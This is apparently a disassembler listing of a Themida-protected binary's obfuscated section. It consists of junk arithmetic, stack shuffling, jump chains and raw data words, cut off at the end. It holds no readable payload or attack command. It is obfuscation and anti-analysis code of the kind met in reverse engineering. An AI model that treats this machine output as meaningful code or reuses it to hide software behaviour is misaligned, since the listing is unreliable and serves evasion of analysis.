0EAC10000h, 6AC28105h, 0E95DF334h, 663h, 5C241C87h dd 57240C89h, 0FFC2F7E9h, 240483FFh, 4D54E904h, 0C6810000h dd 264D2698h, 176C681h, 0C6814D76h, 57B43088h, 219DE9h dd 24043100h, 5C240433h, 0E9240C89h, 0FFFFC2C2h, 0C781E789h dd 4, 4EF81h, 3C870000h, 0EC835C24h, 24248904h, 4240483h dd 6824048Fh, 5F61h, 0E9241489h, 4812h, 0A1E9DE30h, 29000043h dd 0EFE95BDFh, 81000012h, 9D10FDEFh, 68C38109h, 107F20Dh dd 68EB81FBh, 5F07F20Dh, 8B241C87h, 0BE0F2424h, 2F1668C8h dd 0C890000h, 0C25CE924h, 0D800FFFFh, 241C8B66h, 0E902C483h dd 3FCBh, 4C481h, 0C4810000h, 4, 260968h, 24348900h, 36D9BB53h dd 5C294BB5h, 0FF5B0424h, 58E92434h, 5FFFFFF6h, 0FFF2EAE9h dd 5E8C1FFh, 0B25CCB05h, 8BC32941h, 0E8E92404h, 31FFFFD6h dd 6FE958C5h, 5700006Ah, 495FE9h, 0C5815D00h, 4, 4BF57h dd 0FD010000h, 7CC6E95Fh, 6C810000h, 45E70424h, 44013FBEh dd 44810424h, 45E70424h, 0FF583FBEh, 0E9582434h, 566Eh ; --------------------------------------------------------------------------- loc_549E70: ; CODE XREF: Themida_:005481AFj mov ecx, esp add ecx, 4 sub ecx, 4 jmp loc_5485EB ; --------------------------------------------------------------------------- dd 0AF5BE56h, 0CE814885h, 68444377h, 59AEE946h db 2 dup(0) ; --------------------------------------------------------------------------- loc_549E92: ; CODE XREF: Themida_:005465B1j push dword ptr [esp] pop eax add esp, 4 push ecx neg dword ptr [esp] push dword ptr [esp] jmp loc_5473F1 ; --------------------------------------------------------------------------- loc_549EA5: ; CODE XREF: Themida_:0054C255j add edx, 67F1671Dh jmp loc_54A20E ; --------------------------------------------------------------------------- loc_549EB0: ; CODE XREF: Themida_:0054D591j push eax jmp loc_54EC6F ; --------------------------------------------------------------------------- dw 2C8Bh dd 0E1895124h, 0FFEEFAE9h, 8C680FFh, 535AF028h, 0FFE50CE9h db 0FFh ; --------------------------------------------------------------------------- loc_549ECD: ; CODE XREF: Themida_:00547FACj xchg ecx, [esp] mov esp, [esp] sub ebx, 1 or ebx, 5C0B1530h push 0 sub dword ptr [esp], 7C461C80h jmp loc_54FF25 ; --------------------------------------------------------------------------- db 33h, 34h, 24h dd 0E9243431h, 0FFFFE9EAh ; --------------------------------------------------------------------------- loc_549EF8: ; CODE XREF: Themida_:0054668Fj push dword ptr [esp+4] pop eax pop dword ptr [esp] mov esp, [esp] jmp loc_551B76 ; --------------------------------------------------------------------------- dd 6C21FA05h, 78685F04h, 89000050h, 0DE68243Ch, 0E9000020h dd 0FFFFD67Fh ; --------------------------------------------------------------------------- loc_549F20: ; CODE XREF: Themida_:005502BAj mov ecx, edi pop edi add eax, 21255BEAh add eax, ecx sub eax, 21255BEAh mov ecx, [esp] add esp, 4 push esi jmp loc_5508BA ; --------------------------------------------------------------------------- dw 55Dh dd 1320D2h, 0D22DF829h, 5F001320h, 3A4E702Dh, 0F7A8E910h dd 0F5BDFFFFh, 45054240h, 378C581h, 0F581501Bh, 7B105F4Dh dd 92E9E989h, 31000068h, 23E92434h db 10h, 2 dup(0) ; --------------------------------------------------------------------------- loc_549F77: ; CODE XREF: Themida_:0054DCE4j sub ebp, edx pop edx sub ebp, 0F1C68A0Ah and ebp, 41D22572h jmp loc_546833 ; --------------------------------------------------------------------------- loc_549F8B: ; CODE XREF: Themida_:0054F9A9j mov ecx, 31CC4E59h add ebx, ecx pop ecx sub ebx, 230269BAh jmp loc_551EF1 ; --------------------------------------------------------------------------- dw 0EC81h dd 4, 0FF240489h, 0E9042474h, 109Dh, 0B551C6FEh, 0F3C580B9h dd 8027F580h, 0EE8001EEh, 0E9EE282Fh, 0FFFFDC08h, 515AD101h dd 42474FFh, 24048F59h, 2124248Bh, 0E99C2404h, 0FFFFC05Eh dd 0E904C483h, 3A67h, 0C108E7C1h, 0EFC107E7h, 67EF8103h dd 29B3D1A2h, 0E7A7E9FAh, 1C89FFFFh, 3AA5BB24h, 4BE91E9Dh dd 2D000016h, 620D44F0h, 8904EC83h, 1468241Ch, 5B007AFAh dd 1C8BD801h, 0C9685124h, 0E900000Eh, 0FFFFFCC2h ; --------------------------------------------------------------------------- loc_54A02C: ; CODE XREF: Themida_:005514A6j push 660Ch jmp loc_54CBF8 ; --------------------------------------------------------------------------- dw 0C601h dd offset dword_4B419C+0CCh dd 24048900h, 407FDBB8h, 0EBB530Bh, 81535316h, 53160FF3h dd 0E9D82953h, 5B2Ah, 8324148Bh, 148904ECh, 0E9E28924h dd 592Fh ; --------------------------------------------------------------------------- loc_54A068: ; CODE XREF: Themida_:0054CFA1j mov [edi+20h], ecx pop ecx pop ebx mov eax, [esp] sub esp, 4 mov [esp], edx mov edx, esp add edx, 4 jmp loc_551397 ; --------------------------------------------------------------------------- dw 0E9C1h dd 81D9F706h, 0F43ABEC1h, 7E9C139h, 0FFE9E2E9h, 2434FFFFh dd 0E9240C8Bh, 7EB9h, 4C89CE81h, 0EE810E52h, 4569F5F1h dd 0E8E9F789h, 5EFFFFD0h, 15AD789h, 2434FFF8h, 81243C8Bh dd 4C4h, 643BE900h, 2B80000h, 29000000h, 215EE9C1h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A0DA: ; CODE XREF: Themida_:0054859Cj push ebp push edi mov edi, 20695144h and edi, 2C704E47h shl edi, 6 neg edi shr edi, 4 sub edi, 34521464h add edi, 90973702h push edx jmp loc_54CD9E ; --------------------------------------------------------------------------- db 58h, 0E9h, 0C1h dd 0ACFFFFFEh, 8041B753h, 0CAE993C7h db 7Ch, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A113: ; CODE XREF: Themida_:00549175j mov ebp, [esp] add esp, 4 push dword ptr [esp] pop eax push ebp mov ebp, esp add ebp, 4 push edx push edi push 462A350Fh jmp loc_5518E1 ; --------------------------------------------------------------------------- dw 74FFh dd 8F5A0424h, 895C2404h, 8B542434h, 0C4812434h, 4, 0A9685653h dd 5E2E707Ch, 0F705EEC1h, 0EF5CE9D6h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A15A: ; CODE XREF: Themida_:0054B280j add esp, 4 push dword ptr [esp] pop ecx add esp, 4 push ebp jmp loc_550B5E ; --------------------------------------------------------------------------- dd 46856h, 0E95E0000h, 6CCCh ; --------------------------------------------------------------------------- loc_54A17C: ; CODE XREF: Themida_:0054E65Cj add esp, 4 push ecx mov ecx, 24h add ecx, edi add [ecx], esi mov ecx, [esp] add esp, 4 jmp loc_5520CC ; --------------------------------------------------------------------------- loc_54A194: ; CODE XREF: Themida_:0054A513j add ebx, 4 xchg ebx, [esp] pop esp shr ecx, 0 jmp loc_54A773 ; --------------------------------------------------------------------------- db 55h dd 0FFFDADE9h, 0C4BB53FFh, 0E9314684h, 7D27h ; --------------------------------------------------------------------------- loc_54A1B4: ; CODE XREF: Themida_:00546DB9j mov [esp], edx mov edx, 0FFFFFFFFh sub ebx, edx mov edx, [esp] add esp, 4 sub ebx, 7D8A42B7h add ebp, ebx push dword ptr [esp] pop ebx add esp, 4 add ebp, 2 jmp loc_552018 ; --------------------------------------------------------------------------- dw 0F8BAh dd 812C073Ah, 0CB4126CAh, 0CE07E942h, 0EC81FFFFh, 2, 3204E9h dd 0EF885A00h, 0F5C3E959h, 575BFFFFh, 0B02E2ABFh, 797AE933h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A20E: ; CODE XREF: Themida_:00549EABj pop ecx push edx push dword ptr [esp+4] jmp loc_55017C ; --------------------------------------------------------------------------- loc_54A219: ; CODE XREF: Themida_:0054B110j xor esi, [esp] jmp loc_547985 ; --------------------------------------------------------------------------- loc_54A221: ; CODE XREF: Themida_:00548714j push ebp jmp loc_54992E ; --------------------------------------------------------------------------- loc_54A227: ; CODE XREF: Themida_:00548E4Cj mov esi, [esp] push edi mov edi, esp push ebp mov ebp, 66E27F27h jmp loc_5467DE ; --------------------------------------------------------------------------- dd 0C328E104h, 0E924048Bh, 5E69h, 7828E7BEh, 8BF0314Fh dd 0C4812434h, 4, 48CEE9h, 24348900h, 8DBBA52h, 83E96597h dd 66FFFFE6h, 0E9241489h, 0FFFFC3F0h, 0DDBEF81h, 69E9665Fh dd 8300001Dh, 148704C4h, 3DE95C24h, 0B1FFFFBEh, 237EE978h dd 1C300000h, 241C3224h, 0E9241C30h, 0FFFFBDA2h, 0E289525Fh dd 4BB53h, 0DA010000h, 4BF575Bh, 1000000h, 0E9525FFAh dd 0FFFFD046h, 8324148Bh, 895804C4h, 0E2815EF2h, 540374C9h dd 0FFCC18E9h, 8BFA01FFh, 0C481243Ch, 4, 83242C8Bh, 0C20104C4h dd 749BE9h, 242C3300h, 0E924248Bh, 0FFFFCC7Dh, 240C8B66h dd 0E9E28952h, 1EA8h, 4EA81h, 14870000h, 1C895C24h, 81E38924h dd 4C3h, 0D2BF5700h, 0E9576A32h, 0FFFFD163h, 8704C383h dd 815C241Ch, 30378AEBh, 81C30163h, 30378AC3h, 147A6863h dd 14890000h, 77C6BA24h, 0DAF7056Fh, 0FFD9AFE9h, 0BCF4E9FFh dd 5066FFFFh, 2474FF66h, 66586602h, 6624048Fh, 0F1686691h dd 0C896648h, 14F76624h, 66596624h, 66516650h, 641EE958h dd 34890000h, 57E68924h, 7782BA52h, 0B1E97C63h, 0BB00006Fh dd 4CF9123Bh, 0F91239BAh, 5BDA314Ch, 3269EB81h, 0D3016F85h dd 3269C381h, 21E96F85h, 0C1FFFFCEh, 83E908E2h db 9, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A3AB: ; CODE XREF: Themida_:0054ED48j and ebp, 720D40CBh dec ebp sub ebp, 825290B3h sub edx, ebp jmp loc_54A709 ; --------------------------------------------------------------------------- aQObjYsz db 'Q¹Ïobj)ÏYé‡-',0 dd 240C8700h, 0BC68E95Ch db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A3D6: ; CODE XREF: Themida_:00547F62j pop ebx add ebx, 4 push edx mov edx, 4 add ebx, edx pop edx xchg ebx, [esp] pop esp shr eax, 0Ah xor eax, ecx push eax mov eax, esp add eax, 4 push esi mov esi, 67BD5122h add esi, 79650B07h add esi, 57972235h sub esi, 38B97E5Ah sub eax, esi pop esi xchg eax, [esp] pop esp mov [esp], eax push edi push esp pop edi add edi, 4 sub edi, 4 xchg edi, [esp] pop esp jmp loc_54A751 ; --------------------------------------------------------------------------- db 81h, 0C5h, 4 dd 83000000h, 0FF5504EDh, 5D042474h, 675FE9h, 52E98100h dd 8100E333h, 82CF05F1h, 59CF0105h, 0FFF1CCE9h, 5A5452FFh dd 5E9DE9h, 0F3815B00h, 3B930124h, 5A2434FFh, 904C483h dd 815B1C5Fh, 4ECh, 241C8900h, 8B2434FFh, 0C483241Ch, 4EC8104h dd 89000000h, 0E189240Ch, 0FFFCDBE9h, 8E2C0FFh, 58E4E9h dd 4C48100h, 0E9000000h, 0FFFFBB96h, 0F181D1F7h, 87AE9474h dd 0F759CF89h, 26BB53DFh, 21164553h, 0DE8FE9DFh db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A4C2: ; CODE XREF: Themida_:00551244j mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop edx add esp, 4 loc_54A4DB: ; CODE XREF: Themida_:0054C965j push ebx push ecx push edi mov edi, esp jmp loc_55101D ; --------------------------------------------------------------------------- db 81h, 0EAh, 4 dd 33000000h, 14312414h, 24143324h, 242C895Ch, 0EBE3E954h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A4FE: ; CODE XREF: Themida_:0054C8B1j mov ebx, [esp] add esp, 4 and ecx, ebp push dword ptr [esp] pop ebp push ebx mov ebx, esp add ebx, 4 jmp loc_54A194 ; --------------------------------------------------------------------------- dd 8924248Bh, 0E2892414h, 4BE56h, 0EA810000h, 48790695h dd 2FB9E9h, 242C8900h, 1FC2E954h, 0EC810000h, 4, 54243C89h dd 4C7815Fh, 68000000h, 5183h, 0E9241C89h, 5B42h, 6C2BF381h dd 0EAE94970h db 33h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A563: ; CODE XREF: Themida_:0054CF53j mov [edi+20h], ebx mov ebx, [esp] push esi mov esi, esp jmp loc_551E0E ; --------------------------------------------------------------------------- db 89h, 1Ch, 24h dd 6C69B850h, 0B4BB7F0Dh, 312EB971h, 36858C3h, 89000027h dd 0BE562404h, 788E3DE9h, 519BE9h, 11EF8100h, 1BE871Eh dd 188BE9F9h, 81580000h, 4ECh, 24348900h, 2BEh, 5EF72900h dd 31243C33h, 3C33243Ch, 24248B24h, 6FEAE9h, 2F832D00h dd 0C3012CA8h, 0B60F6658h, 4245E900h, 0D8010000h, 5B2434FFh dd 4C481h, 0C3310000h, 191568h, 24048900h, 21BE5650h, 4623AC1Eh dd 9BCC681h, 0C6811F57h, 16396628h, 4F9C681h, 0F68115D4h dd 6D63996Dh, 89F18951h, 315E59C8h, 0E9042444h, 6E5Bh dd 405E089h, 55000000h, 0D14EE951h, 8B66FFFFh, 58682404h dd 8900003Ch, 9E9241Ch, 81000009h, 0D24A57C6h, 0BC6817Bh dd 0E9345D3Ch, 16D1h, 24048B66h, 55E28952h, 0FFD920E9h dd 0C8B66FFh, 0E36824h, 3C890000h, 41A4E924h, 0E3C10000h dd 0E8E38106h, 0E92B5868h, 695Eh, 83241C89h, 48904ECh dd 88D48824h, 4DE958E7h db 64h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A68B: ; CODE XREF: Themida_:0054ED07j add ebp, edx pop edx xchg ebp, [esp] mov esp, [esp] pop ecx jmp loc_5476E7 ; --------------------------------------------------------------------------- dw 9FE9h dd 89FFFFB9h, 4C781E7h, 0E9000000h, 532Dh, 74FF5158h, 0CCE90424h dd 6800004Dh, 49A6h, 0B0240489h, 569E9CBh db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A6C6: ; CODE XREF: Themida_:00551094j mov ebp, ebx pop ebx pop ecx sub ebp, 7EAA5F6Ch sub ebp, ecx add ebp, 7EAA5F6Ch pop ecx mov edi, 0E892B631h add edi, ebp mov ebp, [esp] push ebx jmp loc_548DFB ; --------------------------------------------------------------------------- db 5, 4, 0 dd 4050000h, 87000000h, 248B2404h, 5082E924h, 0C3810000h dd 0CB909F8h, 3603E9h db 0 ; --------------------------------------------------------------------------- loc_54A709: ; CODE XREF: Themida_:0054A3BAj pop ebp shr edx, 4 sub edx, 0EF0BBD0Ch add ebx, 638735C6h jmp loc_5508AD ; --------------------------------------------------------------------------- dw 0F289h dd 5AD3315Eh, 0FFB915E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A729: ; CODE XREF: Themida_:0054C31Dj pop edi jmp loc_547587 ; --------------------------------------------------------------------------- db 5Bh dd 8B24048Fh, 34FF2424h, 240C8B24h, 0E9E08950h, 0FFFFD084h ; --------------------------------------------------------------------------- loc_54A744: ; CODE XREF: Themida_:0054FF6Aj mov ecx, esp add ecx, 4 jmp loc_54B8A0 ; --------------------------------------------------------------------------- loc_54A751: ; CODE XREF: Themida_:0054A42Cj mov [esp], edx mov eax, [esp] add esp, 4 mov edx, [esp] add esp, 4 push edx not dword ptr [esp] pop edx xor eax, edx xor edx, eax xor eax, edx jmp loc_546569 ; --------------------------------------------------------------------------- loc_54A773: ; CODE XREF: Themida_:0054A19Ej or eax, eax jz loc_547706 push edx mov edx, esp jmp loc_54EED7 ; --------------------------------------------------------------------------- db 8Bh dd 0C483242Ch, 59CD0104h, 288DE9h, 48B6600h, 3F216824h dd 34890000h, 0E9E68924h, 0FFFFF06Bh ; --------------------------------------------------------------------------- loc_54A7A4: ; CODE XREF: Themida_:005522E5j mov edx, esp add edx, 4 add edx, 4 jmp loc_54DF2E ; --------------------------------------------------------------------------- db 0B6h dd 8BF430D8h, 0C4832414h, 8BE30004h, 89502404h, 405E0h dd 0C0830000h, 24048704h, 0FFEF0FE9h, 405FFh, 4870000h dd 0BB535C24h, 1F9632C1h, 51E9DBF7h db 49h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A7EF: ; CODE XREF: Themida_:00548968j add eax, 150B5A9Eh add eax, 2164EA4h add eax, edi jmp loc_551A4A ; --------------------------------------------------------------------------- dd 240C895Ch, 0ED800CB5h, 49F5802Fh, 3567E9h db 0 ; --------------------------------------------------------------------------- loc_54A811: ; CODE XREF: Themida_:0054FA38j add edi, ecx jmp loc_54FB34 ; --------------------------------------------------------------------------- loc_54A818: ; CODE XREF: Themida_:005467D9j shl ecx, 3 inc ecx add ecx, 2227615Ah mov eax, ecx pop ecx jmp loc_546F58 ; --------------------------------------------------------------------------- dw 565Ch dd 42474FFh, 24048F5Eh, 0F24248Bh, 0B68C8B6h, 89000004h dd 0F7E9240Ch db 0B7h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54A847: ; CODE XREF: Themida_:0054F6ECj pop ebx add edi, 6D072B7h add edi, eax sub edi, 6D072B7h pop eax jmp loc_549C93 ; --------------------------------------------------------------------------- dd 0B3241C89h, 0EF87E91Ah, 0C483FFFFh, 5DE90104h, 0FFD9C5E9h db 0FFh ; --------------------------------------------------------------------------- loc_54A871: ; CODE XREF: Themida_:00546376j mov edx, 8EBC997h add edx, eax mov eax, [esp] add esp, 4 shr edx, 1 sub edx, 1 shr edx, 4 push ebp mov ebp, 6689BBh sub edx, ebp mov ebp, [esp] add esp, 4 add ebp, 2C271688h add ebp, edx sub ebp, 2C271688h mov edx, [esp] jmp loc_546491 ; --------------------------------------------------------------------------- db 0E9h dd 0FFFFB786h ; --------------------------------------------------------------------------- loc_54A8B8: ; CODE XREF: Themida_:00548E69j pop edi push 56B6h mov [esp], ecx push edx push 53EA5D45h pop edx jmp loc_55175C ; --------------------------------------------------------------------------- db 66h, 8Bh, 0Ch dd 0E886824h, 0C890000h, 0DCDAE924h, 0C683FFFFh, 24348704h dd 0EF805A5Ch, 0E9506637h, 0FFFFDB08h, 24148966h, 0E99C5066h dd 0C09h, 52242C8Bh, 1F2E9h, 0E6895600h, 4C681h, 0A8E90000h db 72h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54A913: ; CODE XREF: Themida_:00547E8Ej add edi, 589C6E99h xor edi, 9CE8072Dh add edx, edi jmp loc_546B1C ; --------------------------------------------------------------------------- dw 8B05h dd 81115B6Bh, 0CF46F7E9h, 81C10155h, 0CF46F7C1h, 0BFBE955h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54A93E: ; CODE XREF: Themida_:0054F3BFj mov ebx, 6DBA39A1h sub ebx, 36D10A5Fh push 0 sub [esp], ebx mov ebx, [esp] sub esp, 4 mov [esp], ecx jmp loc_54BFDC ; --------------------------------------------------------------------------- loc_54A95F: ; CODE XREF: Themida_:0054FAD3j push ebx mov ebx, 4 jmp loc_54EA8E ; --------------------------------------------------------------------------- dw 487h dd 48F5C24h, 24248B24h, 0FFFAFAE9h, 240433FFh, 0E9240431h dd 0FFFFD383h, 764BC681h, 0DEF70997h, 773B850h, 0C601F45Dh dd 0FFDD80E9h, 24148BFFh, 81E28952h, 4C2h, 4C28100h, 87000000h dd 815C2414h, 4ECh, 242C8900h, 4BDh, 4761E900h, 4890000h dd 1365B824h, 0D0F75704h, 12D40h, 0A5E90000h, 83000068h dd 0CFE904C4h, 5500000Ah, 42474FFh, 5D2434FFh, 8F04C483h dd 248B2404h, 0C8B6624h, 4EC8124h, 89000000h, 69E92404h dd 0F7000054h, 53FD87D7h, 0B1FA6BBh, 0F7E3D142h, 54F381DBh dd 3165FDA4h, 0E5815BDDh, 14AF42EEh, 4082F581h, 0EF0100A7h dd 2C7835Dh, 5C243C87h, 0B96FE953h, 1C8BFFFFh, 78E95624h db 0D6h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AA3F: ; CODE XREF: Themida_:005503E9j inc edi add edi, 0D7AF0A8Dh and eax, edi jmp loc_547CFF ; --------------------------------------------------------------------------- db 1, 0C7h, 58h dd 3D61BE56h, 0E95069DCh, 29Dh, 16C0F181h, 0F74943CCh dd 0C4C181D1h, 0E9E0263Fh, 60E4h, 0DCF6B7B4h, 6C85E9h dd 4C78100h, 0E9000000h, 7959h ; --------------------------------------------------------------------------- loc_54AA84: ; CODE XREF: Themida_:0054B217j push edi mov edi, 2AFD7130h and edi, 151A6EF1h sub edi, 0EAAA3727h add eax, 34F94949h add eax, edi jmp loc_54B74B ; --------------------------------------------------------------------------- loc_54AAA2: ; CODE XREF: Themida_:00548EB8j mov ebp, 3005646Ch sub ebp, 3F625768h sub ebp, 0B25E96AFh jmp loc_54AFA2 ; --------------------------------------------------------------------------- dd 58F8EF81h, 295E1526h, 4EC81F7h, 89000000h, 85BA2414h dd 2949FB6Dh, 0EF815AD7h, 1D00558Bh, 8124348Bh, 4C4h, 57E9C300h dd 89FFFFB5h, 4BD242Ch, 1000000h, 0DAE95DE8h, 8900000Fh dd 4C281E2h, 81000000h, 4C2h, 24148700h, 2C3E9h db 0 ; --------------------------------------------------------------------------- loc_54AB0D: ; CODE XREF: Themida_:0054F8E8j pop esp mov [esp], eax mov eax, edx push ebx jmp loc_54CF9C ; --------------------------------------------------------------------------- db 0Fh, 0C8h, 68h dd 0D2Eh, 0E9240489h, 0FFFFE558h, 4BB535Fh, 1000000h, 241C8BDFh dd 8104C483h, 4C7h, 478EE900h, 8B660000h, 0E955240Ch, 78F4h dd 895E5556h, 636E9F3h, 0DC680000h, 89000037h, 5052241Ch dd 2BB247B0h, 0E958C228h, 3360h, 25E9DDF7h, 54000042h dd 0BC87E959h, 8F66FFFFh, 0B4BCE902h, 0BA52FFFFh, 2995412Fh dd 0E902EAC1h, 3E1Ah, 81E28952h, 4C2h, 4C28100h, 87000000h dd 575C2414h, 0EC2CFF68h, 0EF815F0Ch, 0CEC2CFDh, 335FFB01h dd 1C31241Ch, 0BC64E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54ABBE: ; CODE XREF: Themida_:0054747Aj push ecx push edx pop ecx mov esi, ecx pop ecx jmp loc_5494BE ; --------------------------------------------------------------------------- aXesE db 9,'ÅXEéÆe',0 align 2 aErIyScv db 'ERº',0Ah db 'ëYÛ)Õé–v',0 align 10h a3414S_ db '[34$14$éÅ.',0 align 4 dd 2414895Ch, 2BAh, 5B40E900h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54ABFA: ; CODE XREF: Themida_:0054FADBj mov cl, 8Ch sub esp, 4 mov [esp], eax push 681Bh mov [esp], edx mov dh, 0D0h mov ah, dh mov edx, [esp] jmp loc_547B79 ; --------------------------------------------------------------------------- aFyxs? db '(ËfYXé(?',0 dw 8900h dd 405E0h, 0FFE90000h, 80000046h, 0C3000AC3h, 580AEB80h dd 167FE9h, 1BDBB800h, 312D69C4h, 8958C9ECh, 0F38158C3h dd 0D3E10E3h, 0E7D1F381h, 0DD8956A0h, 52FF685Bh, 3C890000h dd 4359BF24h, 1AE94E62h, 0E9FFFFE4h, 0FFFFB3CEh, 0E3C018B3h dd 5FE38006h, 57DCE9h, 2414F700h, 0FFC05EE9h db 0FFh ; --------------------------------------------------------------------------- loc_54AC85: ; CODE XREF: Themida_:0054B240j mov [esp], ebp push 1 pop ebp and eax, ebp jmp loc_5462D3 ; --------------------------------------------------------------------------- db 68h, 87h, 6 dd 3C890000h, 827CBF24h, 0FD89B4E9h, 0E9243C8Bh, 0FFFFFBBAh dd 2404FF57h, 1EF835Fh, 0FE31F731h, 96E9F731h db 61h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ACBF: ; CODE XREF: Themida_:00551F58j inc ecx inc ecx dec ecx shl ecx, 4 sub ecx, 3FFFD7C6h and edi, ecx pop ecx add edi, 0BD7FE6ECh add esi, edi pop edi jmp loc_5510A4 ; --------------------------------------------------------------------------- dd 6FDB68h, 24048900h, 4B8h, 1FAAE900h, 0E9500000h, 0FFFFE64Ch dd 0FFB345E9h, 6CC5B8FFh, 0DC254642h, 538A94Bh, 1DCA2E93h dd 0FFDE2DE9h, 66F028FFh, 6649FE68h, 0B2241489h, 892E935h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AD1E: ; CODE XREF: Themida_:005478AFj or edx, eax shl edx, 1 push edx push ebp mov ebp, 1 jmp loc_54D38E ; --------------------------------------------------------------------------- dw 0DAF7h dd 0A517F281h, 0D101BCE7h, 60DB2D5Ah, 0C8291668h, 6860DB05h dd 0D8015916h, 480D68h, 243C8900h, 31FBE9h, 4EE0BB00h dd 0DA892F20h, 8BD0015Bh, 0C4812414h, 4, 592434FFh, 81E38953h dd 4C3h, 0D4D5E900h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AD7A: ; CODE XREF: Themida_:0054CF8Aj add esp, 4 pop eax sub esp, 4 mov [esp], ebx mov ebx, 44E75B5Eh and ebx, 217A3D89h dec ebx xor ebx, 5B06AEFh add eax, ebx pop ebx push dword ptr [edi+eax*4] push dword ptr [esp] push dword ptr [esp] mov eax, [esp] jmp loc_54F940 ; --------------------------------------------------------------------------- loc_54ADB0: ; CODE XREF: Themida_:0054B222j not edx xchg eax, edx xor [esp], eax jmp loc_549B4D ; --------------------------------------------------------------------------- db 5Bh dd 0BC685055h, 0E90C3168h, 4EDh, 0E9242C87h, 111h, 0F324248Bh dd 386203A5h, 0C1B5E950h, 0E12DFFFFh, 56615C53h, 18DEE9h dd 0B685D00h, 8900006Dh, 768240Ch, 8B711652h, 4FE9240Ch db 3Ah, 2 dup(0) ; --------------------------------------------------------------------------- loc_54ADFF: ; CODE XREF: Themida_:0054B0E5j pop edi add esp, 4 add edi, 4 sub esp, 4 jmp loc_54FAEF ; --------------------------------------------------------------------------- db 54h, 5Dh, 81h dd 4C5h, 4C58100h, 0E9000000h, 2A9Dh, 2BEh, 5EF78900h dd 61BCE951h, 0D9890000h, 0C1D1F75Bh, 0E94904E1h, 67C9h dd 8053E780h, 0C780FCE7h, 80CFFE25h, 51E98BE7h db 41h, 2 dup(0) ; --------------------------------------------------------------------------- loc_54AE53: ; CODE XREF: Themida_:005518B9j sub bl, dh sub bl, 50h pop edx movzx eax, al jmp loc_54CC28 ; --------------------------------------------------------------------------- aSkh db '^éŠH',0 dw 8100h dd 4ECh, 240C8900h, 544784B9h, 0F006E90Fh, 875EFFFFh, 0E95C243Ch dd 6C7Eh ; --------------------------------------------------------------------------- loc_54AE84: ; CODE XREF: Themida_:0054F3AAj pop edx add bl, al push dx jmp loc_549049 ; --------------------------------------------------------------------------- dw 0EBC1h dd 0C80BE905h, 3068FFFFh, 89000005h, 0CDBE2434h, 50038708h dd 0FFDAE4E9h, 555F66FFh, 5D61BD66h, 81664566h, 6610A7E5h dd 9FBC581h, 550E9h db 0 ; --------------------------------------------------------------------------- loc_54AEC1: ; CODE XREF: Themida_:0054DFA4j add ecx, 58BD4361h not ecx sub ecx, 967E9A9Ah add edx, ecx pop ecx jmp loc_546629 ; --------------------------------------------------------------------------- db 66h dd 51240C8Bh, 5A79E9h, 4895C00h, 0B154E924h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_54AEEA: ; CODE XREF: Themida_:0054BA80j pop edx jmp loc_5508EF ; --------------------------------------------------------------------------- loc_54AEF0: ; CODE XREF: Themida_:00551AABj mov ebp, 15305D81h push 0D7Bh jmp loc_54CFE0 ; --------------------------------------------------------------------------- loc_54AEFF: ; CODE XREF: Themida_:00546359j add esp, 4 and eax, ebp pop ebp jmp loc_548076 ; --------------------------------------------------------------------------- loc_54AF0A: ; CODE XREF: Themida_:00548CB7j xor eax, ecx mov ecx, [esp] add esp, 4 push edx push edi push 7935h mov [esp], edx mov edx, 741E13B5h jmp loc_54C8D2 ; --------------------------------------------------------------------------- db 66h, 8Bh, 4 dd 5A545224h, 4C281h, 0EA830000h, 4EC8304h, 0E9241489h dd 0FFFFF1EEh, 5E08950h, 4, 8704E883h, 0E95C2404h, 2779h ; --------------------------------------------------------------------------- loc_54AF58: ; CODE XREF: Themida_:00546B78j mov [esp], eax push 50B10B84h pop eax jmp loc_54B367 ; --------------------------------------------------------------------------- dw 895Ch dd 0B2682414h, 0E9000065h, 60CCh, 0FFB0C5E9h, 4C781FFh dd 87000000h, 895C243Ch, 0EE8DE9F9h, 0E989FFFFh, 8B59CA89h dd 0C483242Ch, 0D29E904h, 34330000h, 443AE924h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AFA2: ; CODE XREF: Themida_:0054AAB3j add ebx, 73914E68h add ebx, ebp jmp loc_54864A ; --------------------------------------------------------------------------- db 58h dd 4BA52h, 0D1010000h, 5A2434FFh, 4C481h, 0C870000h, 0ED2D5C24h dd 5620433Bh, 590C94BEh, 4B3CE96Ah, 0C1FE0000h, 2CE980h dd 4E9DE9C8h db 2 dup(0) ; --------------------------------------------------------------------------- loc_54AFE2: ; CODE XREF: Themida_:0054BA31j shl ecx, 1 sub ecx, 4B908E12h sub edx, ecx pop ecx push ebx mov ebx, 605B8Ah sub edx, ebx pop ebx jmp loc_54603E ; --------------------------------------------------------------------------- loc_54AFFB: ; CODE XREF: Themida_:0054870Ej sub ebp, edi jmp loc_549494 ; --------------------------------------------------------------------------- loc_54B002: ; CODE XREF: Themida_:0054B89Bj add esp, 4 add esp, 4 shr eax, 8 xor eax, ecx push 526Bh mov [esp], eax xor [esp], ebx xor ebx, [esp] xor [esp], ebx not ebx push ebx push dword ptr [esp+4] mov ebx, [esp] add esp, 4 pop dword ptr [esp] push dword ptr [esp] pop eax jmp loc_55244E ; --------------------------------------------------------------------------- db 0BEh, 0Bh, 6 dd 0E681473Ch, 622076E4h, 12F2E9h, 24048B00h, 4211E950h dd 0EE000000h, 